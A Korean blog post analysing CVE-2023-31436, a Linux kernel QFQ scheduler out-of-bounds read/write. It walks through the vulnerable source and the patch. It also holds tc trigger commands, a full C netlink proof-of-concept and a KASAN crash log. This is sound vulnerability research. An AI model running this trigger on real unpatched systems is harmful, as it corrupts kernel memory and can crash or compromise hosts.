[Kernel Exploit Tech][CVE] CVE-2023-31436 분석

이 취약점은 리눅스 커널 6.2.13 이하에서 lmaxQFQ_MIN_LMAX를 초과하는 값을 가지도록 해 out-of-bound write를 유도하는 취약점이다. 이 커밋에서 해당 취약점에 대한 패치를 확인할 수 있다.

0. Background - QFQ란?

QFQ란 Quick Fair Queueing의 약자로, tc 유틸리티에서 제공하는 패킷 스케줄링 알고리즘이다. QFQ는 class(struct qfq_class)를 통해 패킷을 관리하는데, 여러 class를 묶어놓은 것을 qdisc(struct qfq_sched)라 한다. 이 취약점에서는 class와 관련된 함수를 통해 OOB를 발생시키게 된다.

1. 취약점 분석

1-1. lmax 검증 누락

qfq_change_class()에서 다음과 같은 코드를 볼 수 있다.

static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
			    struct nlattr **tca, unsigned long *arg,
			    struct netlink_ext_ack *extack)
{
	...
	if (tb[TCA_QFQ_LMAX]) {
		lmax = nla_get_u32(tb[TCA_QFQ_LMAX]);
		if (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {
			// 512 <= lmax <= 2^16
			pr_notice("qfq: invalid max length %u\n", lmax);
			return -EINVAL;
		}
	} else
		// 여기는 검증이 없음 -> QFQ_MAX_LMAX를 넘어선 값을 할당 가능
		lmax = psched_mtu(qdisc_dev(sch));
	// -> tb[TCA_QFQ_LMAX]가 null이어야 함
	...
}

여기서 tb[TCA_QFQ_LMAX]가 거짓인 경우, psched_mtu()를 통해 가져온 값에 대한 검증이 없다. 위의 조건식으로부터 lmax는 $2^9$에서 $2^{16}$사이의 값을 가져야 한다는 것을 알 수 있지만, loopback 장치의 경우 MTU가 최대 $2^{31}-1$로 설정될 수 있다는 점을 고려하면 lmax의 최댓값을 아득히 뛰어넘는 값을 설정할 수 있게 된다. 이렇게 잘못 설정된 lmax는 이후 다음 과정에 영향을 미치게 된다.

new_agg = qfq_find_agg(q, lmax, weight);
if (new_agg == NULL) { /* create new aggregate */
    sch_tree_unlock(sch);
    new_agg = kzalloc(sizeof(*new_agg), GFP_KERNEL);  // (1)
    if (new_agg == NULL) {
        err = -ENOBUFS;
        gen_kill_estimator(&cl->rate_est);
        goto destroy_class;
    }
    sch_tree_lock(sch);
    qfq_init_agg(q, new_agg, lmax, weight);
}

여기서 lmax 자체가 잘못된 값을 가지고 있기 때문에 qfq_find_agg()는 무조건 실패할 수밖에 없다. 따라서 커널은 kzalloc()를 통해 새로운 qfq_aggregate를 만들 것이고(1), 이후 qfq_init_agg()를 호출해 새로 할당받은 qfq_aggregate를 초기화하려고 할 것이다.

qfq_init_agg()에서는 다음과 같이

static void qfq_init_agg(struct qfq_sched *q, struct qfq_aggregate *agg,
			 u32 lmax, u32 weight)
{
	INIT_LIST_HEAD(&agg->active);
	hlist_add_head(&agg->nonfull_next, &q->nonfull_aggs);

	agg->lmax = lmax;
	agg->class_weight = weight;
}

잘못된 lmax값이 그대로 새로 할당받은 qfq_aggregate에 쓰게 된다. 이후 qfq_add_to_agg() 를 호출해 이 qfq_aggregateqfq_class에 등록하게 된다.

1-2. OOB

static void qfq_add_to_agg(struct qfq_sched *q,
			   struct qfq_aggregate *agg,
			   struct qfq_class *cl)
{
	cl->agg = agg;

	qfq_update_agg(q, agg, agg->num_classes+1);
	...
}

qfq_add_to_agg()에서는 위와 같이 qfq_update_agg()를 호출한다. 이 함수를 따라들어가면

static void qfq_update_agg(struct qfq_sched *q, struct qfq_aggregate *agg,
			   int new_num_classes)
{
	...
	agg->budgetmax = new_num_classes * agg->lmax;
	...
	if (agg->grp == NULL) {
		int i = qfq_calc_index(agg->inv_w, agg->budgetmax,
				       q->min_slot_shift);
		agg->grp = &q->groups[i];
	}
	...
}

다음과 같이 budgetmaxnew_num_classesagg->lmax를 넣은 값을 대입하고, 이 값을 qfq_calc_index()에 넘겨 인덱스를 계산하는 것을 볼 수 있다. 이때, lmax에는 원래 들어가는 값보다 훨씬 큰 값을 넣을 수 있었기 때문에 계산된 i는 원래 인덱스 범위를 넘어서게 되고, 따라서 OOB가 발생하게 된다. 이때 lmax를 잘 조절해 원하는 i를 만들어낼 수 있다면 구조체의 다른 필드에 영향을 미치게 할 수 있다. 그러나 lmax의 최댓값이 $2^{31}-1$이기 때문에 원하는 모든 곳에 접근하는 것은 불가능하다.

static int qfq_calc_index(u32 inv_w, unsigned int maxlen, u32 min_slot_shift)
{
	u64 slot_size = (u64)maxlen * inv_w;
	...
	index -= !(slot_size - (1ULL << (index + min_slot_shift - 1)));
	...
	return index;
}

호출되는 qfq_calc_index()를 보면 lmax이외에도 inv_w값이 크면 클수록 slot_size도 커지고, 결국 index가 커진다는 것을 알아낼 수 있다. 이때 inv_w를 따라가면서 어떤 값에 영향을 받는지 살펴보면 다음과 같이 계산되는 것을 볼 수 있다.

$\text{inv_w} = \text{ONE_FP} / \text{weight}$

따라서 weight값이 가장 작으면서 lmax가 가장 클 때 index가 가장 커진다는 것을 알 수 있다.

1-3. 잘못된 값에 읽기/쓰기

위에서 분석했듯 이 취약점을 트리거하면 agg->grp에 범위를 넘어선 값을 쓸 수 있음을 알 수 있다. 이제 이 값에 접근해 읽거나 쓰는 함수를 찾아보면 다음과 같이 qfq_schedule_agg()에서 읽기/쓰기를 모두 시도하고 있음을 알 수 있다.

/*
 * Schedule aggregate according to its timestamps.
 */
static void qfq_schedule_agg(struct qfq_sched *q, struct qfq_aggregate *agg)
{
  struct qfq_group *grp = agg->grp;  // 여기서 read
  ...
  if (grp->full_slots) {  // 여기서 read
    __clear_bit(grp->index, &q->bitmaps[IR]);  // 여기서 write
    __clear_bit(grp->index, &q->bitmaps[IB]);
    ...
  }
  grp->S = roundedS;  // 여기서 write
  grp->F = roundedS + (2ULL << grp->slot_shift);  
  ...
  __set_bit(grp->index, &q->bitmaps[s]);  // 여기서 write
  ...
}

따라서 취약점 트리거 후 qfq_schedule_agg()를 호출하면 OOB R/W가 발생하게 되고, KASAN을 통해 확인할 수 있게 된다.

2. PoC 작성

2-1. 트리거

  1. lo의 mtu를 큰 값으로 설정 (ip link set lo mtu 2147483647)
  2. lo에 qdisc 부착 (tc qdisc add dev lo root handle 1: qfq)
  3. 만든 qdisc에 class생성 (tc class add dev lo parent 1: classid 1:10 qfq weight 3)
  4. 만든 class 수정 → qfq_change_class() 가 호출됨 (tc class change dev lo parent 1: classid 1:10 qfq weight 1)
  5. 이 class를 lo에 부착 (tc filter add dev lo parent 1: protocol ip u32 match ip dst 127.0.0.1 flowid 1:10)

이 명령들을 C로 옮기면 다음과 같다. (lo가 down인 상태일때를 고려해 ip link set lo up을 추가했다.)

펼치기 / 접기
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <errno.h>
#include <stdint.h>

#ifndef __LINUX_PKT_SCHED_NETEM_COMPAT__
#define __LINUX_PKT_SCHED_NETEM_COMPAT__

/* 매우 오래된 uapi 헤더 대응용 상수 값 강제 정의
(커널 uapi의 netem attribute 번호: 대부분의 커널에서 아래 값과 동일) */
#ifndef TCA_NETEM_QOPT
#  define TCA_NETEM_QOPT 1          /* 예전 TCA_NETEM_PARMS와 동일 슬롯 */
#endif

#ifndef TCA_NETEM_RATE
#  define TCA_NETEM_RATE 7          /* rate(32-bit) attribute 슬롯 */
#endif
#endif

#ifndef TC_H_ROOT
#define TC_H_ROOT 0xFFFFFFFFU
#endif

#ifndef TC_H_MAKE
#define TC_H_MAKE(major, minor) (((major) << 16) | (minor))
#endif

/* ---------- RTA helpers ---------- */
static inline struct rtattr *rta_tail(struct nlmsghdr *n)
{ return (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); }

static void rta_add(struct nlmsghdr *n, int type, const void *data, int len)
{
struct rtattr *rta = rta_tail(n);
rta->rta_type = type;
rta->rta_len  = RTA_LENGTH(len);
if (len) memcpy(RTA_DATA(rta), data, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_LENGTH(len);
}

static struct rtattr *rta_nest_start(struct nlmsghdr *n, int type)
{
struct rtattr *nest = rta_tail(n);
rta_add(n, type, NULL, 0);
return nest;
}
static void rta_nest_end(struct nlmsghdr *n, struct rtattr *nest)
{ nest->rta_len = (char *)rta_tail(n) - (char *)nest; }

/* ---------- NL helpers ---------- */
static int nl_ack(int fd)
{
char buf[8192];
struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) };
struct sockaddr_nl sa;
struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };

    while (1) {
        ssize_t len = recvmsg(fd, &msg, 0);
        if (len < 0) { perror("recvmsg"); return -1; }

        for (struct nlmsghdr *h = (struct nlmsghdr *)buf;
             NLMSG_OK(h, (unsigned)len);
             h = NLMSG_NEXT(h, len)) {

            if (h->nlmsg_type == NLMSG_DONE) return 0;

            if (h->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
                if (err->error == 0) return 0; /* 정상 ACK */
                errno = -err->error;
                perror("netlink error");
                return -1;
            }
        }
    }
}

static int nl_send_to_kernel(int fd, void *buf, size_t len)
{
struct sockaddr_nl sa = {0};
sa.nl_family = AF_NETLINK;
ssize_t s = sendto(fd, buf, len, 0, (struct sockaddr *)&sa, sizeof(sa));
if (s < 0) { perror("sendto"); return -1; }
return 0;
}

int main(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) { perror("socket"); return 1; }

    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    int ifidx = if_nametoindex("lo");
    if (!ifidx) { perror("if_nametoindex(lo)"); return 1; }

    {
        struct { struct nlmsghdr n; struct ifinfomsg ifi; char buf[256]; } req = {0};
        req.n.nlmsg_len   = NLMSG_LENGTH(sizeof(req.ifi));
        req.n.nlmsg_type  = RTM_NEWLINK;
        req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        req.ifi.ifi_family = AF_UNSPEC;
        req.ifi.ifi_index  = ifidx;
        req.ifi.ifi_change = 0xFFFFFFFF;   /* 모든 플래그 변경 허용 */
        req.ifi.ifi_flags  = IFF_UP;       /* 인터페이스 활성화 */

        if (sendto(fd, &req, req.n.nlmsg_len, 0,
                   (struct sockaddr *)&sa, sizeof(sa)) < 0) {
            perror("sendto(RTM_NEWLINK/UP)");
            return 1;
                   }
        if (nl_ack(fd) < 0) return 1;
        puts("[*] lo link set to UP");
    }

    /* (1) lo MTU 설정 */
    {
        struct { struct nlmsghdr n; struct ifinfomsg ifi; char buf[256]; } req = {0};
        req.n.nlmsg_len   = NLMSG_LENGTH(sizeof(req.ifi));
        req.n.nlmsg_type  = RTM_NEWLINK;
        req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        req.ifi.ifi_family = AF_UNSPEC;
        req.ifi.ifi_index  = ifidx;

        uint32_t mtu = 2147483648 - 1;
        rta_add(&req.n, IFLA_MTU, &mtu, sizeof(mtu));

        if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
            perror("sendto(RTM_NEWLINK/IFLA_MTU)"); return 1;
        }
        if (nl_ack(fd) < 0) return 1;
        printf("[*] lo MTU set to %u\n", mtu);
    }

    /* (2) QFQ 설치 (root 1:) */
    {
        struct { struct nlmsghdr n; struct tcmsg t; char buf[512]; } req = {0};
        req.n.nlmsg_len   = NLMSG_LENGTH(sizeof(req.t));
        req.n.nlmsg_type  = RTM_NEWQDISC;
        req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
        req.t.tcm_family  = AF_UNSPEC;
        req.t.tcm_ifindex = ifidx;
        req.t.tcm_parent  = TC_H_ROOT;
        req.t.tcm_handle  = 0x00010000U; /* 1: */

        const char kind[] = "qfq";
        rta_add(&req.n, TCA_KIND, kind, sizeof(kind));

        struct rtattr *opts = rta_nest_start(&req.n, TCA_OPTIONS);
        /* LMAX는 의도적으로 미설정 */
        rta_nest_end(&req.n, opts);

        if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
            perror("sendto(RTM_NEWQDISC/qfq)"); return 1;
        }
        if (nl_ack(fd) < 0) return 1;

        puts("[*] installed QFQ root (handle 1:) without LMAX");
    }

    /* (3) 클래스 1:10 업서트 (weight만 설정) */
    {
        struct { struct nlmsghdr n; struct tcmsg t; char buf[512]; } req = {0};
        req.n.nlmsg_len   = NLMSG_LENGTH(sizeof(req.t));
        req.n.nlmsg_type  = RTM_NEWTCLASS;
        req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE | NLM_F_ACK;

        req.t.tcm_family  = AF_UNSPEC;
        req.t.tcm_ifindex = ifidx;
        req.t.tcm_parent  = 0x00010000U;   /* parent = 1: */
        req.t.tcm_handle  = 0x00010010U;   /* classid = 1:10 */

        const char kind[] = "qfq";
        rta_add(&req.n, TCA_KIND, kind, sizeof(kind));

        struct rtattr *opts = rta_nest_start(&req.n, TCA_OPTIONS);
        uint32_t weight = 1;
        rta_add(&req.n, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
        /* LMAX 미설정 */
        rta_nest_end(&req.n, opts);

        if (nl_send_to_kernel(fd, &req, req.n.nlmsg_len) < 0) { close(fd); return 1; }
        if (nl_ack(fd) < 0) { close(fd); return 1; }

        puts("[*] upsert class 1:10 (weight set, no LMAX)");
    }

    /* (4) filter 추가: dst=127.0.0.1 → flowid 1:20 */
    {
        struct { struct nlmsghdr n; struct tcmsg t; char buf[512]; } req = {0};
        req.n.nlmsg_len   = NLMSG_LENGTH(sizeof(req.t));
        req.n.nlmsg_type  = RTM_NEWTFILTER;
        req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;

        req.t.tcm_family  = AF_UNSPEC;
        req.t.tcm_ifindex = ifidx;
        req.t.tcm_parent  = 0x00010000U;  /* parent = 1: */
        req.t.tcm_handle  = 0;

        /* tcm_info: 하위 16비트=protocol, 상위 16비트=priority */
        __u32 prio = 1;
        __u16 proto = htons(ETH_P_IP);
        req.t.tcm_info = ((prio << 16) | proto);

        const char kind[] = "u32";
        rta_add(&req.n, TCA_KIND, kind, sizeof(kind));

        struct rtattr *opts = rta_nest_start(&req.n, TCA_OPTIONS);

        /* TCA_U32_SEL payload = tc_u32_sel + tc_u32_key[1] */
        struct {
            struct tc_u32_sel sel;
            struct tc_u32_key key[1];
        } u = {0};

        u.sel.flags  = TC_U32_TERMINAL;   /* 이 키가 매칭되면 종료 */
        u.sel.nkeys  = 1;
        /* IPv4 dst는 IP 헤더 기준 offset 16바이트 */
        u.key[0].off     = 16;
        u.key[0].offmask = 0;
        u.key[0].val     = htonl(0x7F000001);      /* 127.0.0.1 */
        u.key[0].mask    = htonl(0xFFFFFFFF);      /* 정확히 일치 */

        rta_add(&req.n, TCA_U32_SEL, &u, sizeof(u));

        /* flowid 1:20 지정 */
        uint32_t flowid = 0x00010010U;   /* 1:20 */
        rta_add(&req.n, TCA_U32_CLASSID, &flowid, sizeof(flowid));

        rta_nest_end(&req.n, opts);

        if (nl_send_to_kernel(fd, &req, req.n.nlmsg_len) < 0) { close(fd); return 1; }
        if (nl_ack(fd) < 0) { close(fd); return 1; }

        puts("[*] added u32 filter: match dst=127.0.0.1 → flowid 1:10");
    }

    close(fd);
    return 0;
}

중간중간 printk()를 사용해 로그를 찍은 후 dmesg를 통해 로그를 살펴보면 다음과 같이 lmax가 큰 값으로 조작된 것을 볼 수 있다.

dmesg_logs.png

2-2. KASAN

커널 소스를 살펴보면 QFQ_MAX_INDEX는 24라고 나와 있지만 우리가 조작한 값으로 계산된 index는 37이므로 OOB가 일어났음을 알 수 있다. OOB R/W가 일어나도록 lo에 ping을 날려주면 KASAN이 OOB를 감지하는 것을 볼 수 있다.

kasan.png
전체 KASAN로그 (펼치기 / 접기)
[   52.934239] ==================================================================
[   52.934468] BUG: KASAN: slab-out-of-bounds in qfq_activate_agg.constprop.0+0x75/0x200
[   52.934850] Read of size 4 at addr ffff8881041eacc0 by task ping/53
[   52.934915]
[   52.935099] CPU: 0 PID: 53 Comm: ping Not tainted 6.3.0-rc6-00126-g829cca4d1783-dirty #24
[   52.935240] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.164
[   52.935379] Call Trace:
[   52.935440]  <TASK>
[   52.935508]  dump_stack_lvl+0x36/0x50
[   52.935583]  print_report+0xcf/0x670
[   52.935626]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[   52.935661]  ? stack_trace_save+0x90/0xd0
[   52.935689]  ? __virt_addr_valid+0xd8/0x160
[   52.935721]  kasan_report+0xc9/0x100
[   52.935750]  ? qfq_activate_agg.constprop.0+0x75/0x200
[   52.935785]  ? qfq_activate_agg.constprop.0+0x75/0x200
[   52.935834]  qfq_activate_agg.constprop.0+0x75/0x200
[   52.935889]  qfq_enqueue+0x4d7/0x920
[   52.935928]  ? __pfx_qfq_enqueue+0x10/0x10
[   52.935961]  ? _raw_spin_lock+0x80/0xe0
[   52.935995]  dev_qdisc_enqueue+0x2d/0xe0
[   52.936034]  __dev_queue_xmit+0xeb7/0x1640
[   52.936073]  ? arp_constructor+0x28e/0x4b0
[   52.936108]  ? __pfx___dev_queue_xmit+0x10/0x10
[   52.936141]  ? arp_hash+0x2c/0x40
[   52.936170]  ? _raw_write_unlock_bh+0xd/0x20
[   52.936198]  ? _raw_write_lock_bh+0x84/0xe0
[   52.936226]  ? __asan_memcpy+0x3c/0x60
[   52.936251]  ? eth_header+0xd0/0xe0
[   52.936280]  ? __pfx_eth_header+0x10/0x10
[   52.936307]  ? neigh_resolve_output+0x1fd/0x300
[   52.936339]  ip_finish_output2+0x2a1/0xa00
[   52.936370]  ? __pfx_ip_finish_output2+0x10/0x10
[   52.936401]  __ip_finish_output.part.0+0x148/0x420
[   52.936431]  ? __pfx___ip_finish_output.part.0+0x10/0x10
[   52.936458]  ? __pfx_selinux_ip_postroute+0x10/0x10
[   52.936485]  ? nf_hook_slow+0xda/0x100
[   52.936512]  ip_output+0x1f6/0x2c0
[   52.936541]  ? __pfx_ip_output+0x10/0x10
[   52.936566]  ? icmp_out_count+0x48/0x60
[   52.936592]  ? __pfx_ip_finish_output+0x10/0x10
[   52.936622]  ip_push_pending_frames+0xf0/0x100
[   52.936652]  raw_sendmsg+0x9d9/0x1670
[   52.936680]  ? stack_trace_save+0x90/0xd0
[   52.936709]  ? __pfx__raw_read_unlock+0x10/0x10
[   52.936739]  ? __pfx_raw_sendmsg+0x10/0x10
[   52.936765]  ? walk_system_ram_range+0xf6/0x170
[   52.936792]  ? sysvec_apic_timer_interrupt+0xe/0x80
[   52.936825]  ? _raw_spin_lock+0x80/0xe0
[   52.936852]  ? __pfx__raw_spin_lock+0x10/0x10
[   52.936879]  ? walk_to_pmd+0x28/0x1e0
[   52.936912]  ? __get_locked_pte+0xa2/0x160
[   52.936942]  ? __pfx_selinux_socket_sendmsg+0x10/0x10
[   52.936972]  ? lookup_memtype+0x71/0x100
[   52.937007]  ? inet_send_prepare+0x1a/0x110
[   52.937037]  ? __pfx_inet_sendmsg+0x10/0x10
[   52.937066]  ? sock_sendmsg+0xd6/0xe0
[   52.937092]  sock_sendmsg+0xd6/0xe0
[   52.937121]  __sys_sendto+0x1af/0x230
[   52.937177]  ? __pfx___sys_sendto+0x10/0x10
[   52.937208]  ? __do_fault+0x65/0x140
[   52.937237]  ? __pfx___handle_mm_fault+0x10/0x10
[   52.937280]  ? up_read+0x1a/0x90
[   52.937310]  ? do_user_addr_fault+0x2fe/0x850
[   52.937342]  __x64_sys_sendto+0x71/0x90
[   52.937374]  do_syscall_64+0x3f/0x90
[   52.937402]  entry_SYSCALL_64_after_hwframe+0x72/0xdc
[   52.937484] RIP: 0033:0x48f787
[   52.937655] Code: c7 c0 ff ff ff ff eb be 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d 60
[   52.937732] RSP: 002b:00007ffd182048f8 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[   52.937799] RAX: ffffffffffffffda RBX: 000000000054b9ee RCX: 000000000048f787
[   52.937832] RDX: 0000000000000040 RSI: 00000000012f5a60 RDI: 0000000000000000
[   52.937861] RBP: 0000000000000040 R08: 00000000006609c8 R09: 000000000000001c
[   52.937890] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd182049d0
[   52.937920] R13: 000000000061c087 R14: 0000000000000000 R15: 0000000000000001
[   52.937968]  </TASK>
[   52.938023]
[   52.938047] Allocated by task 52:
[   52.938108]  kasan_save_stack+0x33/0x60
[   52.938152]  kasan_set_track+0x25/0x30
[   52.938180]  __kasan_kmalloc+0x8f/0xa0
[   52.938206]  __kmalloc_node+0x5c/0x160
[   52.938233]  qdisc_alloc+0x5d/0x320
[   52.938255]  qdisc_create+0xc5/0x780
[   52.938280]  tc_modify_qdisc+0x205/0xb70
[   52.938305]  rtnetlink_rcv_msg+0x231/0x560
[   52.938333]  netlink_rcv_skb+0xda/0x210
[   52.938359]  netlink_unicast+0x365/0x500
[   52.938386]  netlink_sendmsg+0x3bb/0x6d0
[   52.938412]  sock_sendmsg+0xde/0xe0
[   52.938434]  __sys_sendto+0x1af/0x230
[   52.938458]  __x64_sys_sendto+0x71/0x90
[   52.938482]  do_syscall_64+0x3f/0x90
[   52.938503]  entry_SYSCALL_64_after_hwframe+0x72/0xdc
[   52.938539]
[   52.938580] The buggy address belongs to the object at ffff8881041e8000
[   52.938580]  which belongs to the cache kmalloc-8k of size 8192
[   52.938629] The buggy address is located 3552 bytes to the right of
[   52.938629]  allocated 7904-byte region [ffff8881041e8000, ffff8881041e9ee0)
[   52.938667]
[   52.938750] The buggy address belongs to the physical page:
[   52.938894] page:(____ptrval____) refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn8
[   52.939083] head:(____ptrval____) order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   52.939138] flags: 0x200000000010200(slab|head|node=0|zone=2)
[   52.939533] raw: 0200000000010200 ffff888100042280 dead000000000122 0000000000000000
[   52.939566] raw: 0000000000000000 0000000080020002 00000001ffffffff 0000000000000000
[   52.939610] page dumped because: kasan: bad access detected
[   52.939628]
[   52.939642] Memory state around the buggy address:
[   52.939787]  ffff8881041eab80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   52.939831]  ffff8881041eac00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   52.939865] >ffff8881041eac80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   52.939893]                                            ^
[   52.939935]  ffff8881041ead00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   52.939955]  ffff8881041ead80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   52.939986] ==================================================================
[   52.940113] Disabling lock debugging due to kernel taint

3. 패치 분석

	lmax = psched_mtu(qdisc_dev(sch));
+ 	if (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {
+		pr_notice("qfq: invalid max length %u\n", lmax);
+		return -EINVAL;
+	}

다음과 같이 psched_mtu()로 읽어들인 값에 대한 검증이 추가됨으로써 취약점을 해결한 것을 볼 수 있다.

Reference

  1. https://nvd.nist.gov/vuln/detail/cve-2023-31436
  2. https://github.com/torvalds/linux/commit/3037933448f60f9acb705997eae62013ecb81e0d
  3. https://docs.redhat.com/ko/documentation/red_hat_enterprise_linux/6/html/6.3_release_notes/networking

Leave a comment